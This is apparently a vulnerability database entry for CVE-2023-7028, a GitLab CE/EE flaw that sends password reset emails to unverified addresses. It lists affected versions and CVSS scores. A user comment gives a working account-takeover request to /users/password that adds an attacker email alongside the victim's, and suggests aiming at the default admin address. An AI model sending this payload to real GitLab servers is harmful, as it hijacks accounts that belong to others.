Attacker Value
Very High
CVE-2023-7028
CVE-2023-7028
(Last updated March 05, 2024) ▾
MITRE ATT&CK
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Description
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
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Technical Analysis
Tested on Gitlab CE 16.6.1. Very effective and easy to exploit. In the following payload the brackets MUST be URL encoded, else it won’t work: user[email][]=victim@example.org&user[email][]=attacker@example.org.
POST /users/password HTTP/2 Host: gitlab.example.org ... authenticity_token=<auto_generated_token>&user%5Bemail%5D%5B%5D=victim%40example.org&user%5Bemail%5D%5B%5D=attacker%40example.org
Note that you must know the email address and not the login name.
See here for vulnerable and patched versions.
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None
General Information
Vendors
- gitlab
Products
- gitlab
Metasploit Modules
References
Exploit
The following exploit POCs have not been verified by Rapid7 researchers, but are sourced from:
nomi-sec/PoC-in-GitHub.
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Additional sources will be added here as they become relevant.
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Or use the default administrator email
admin@example.com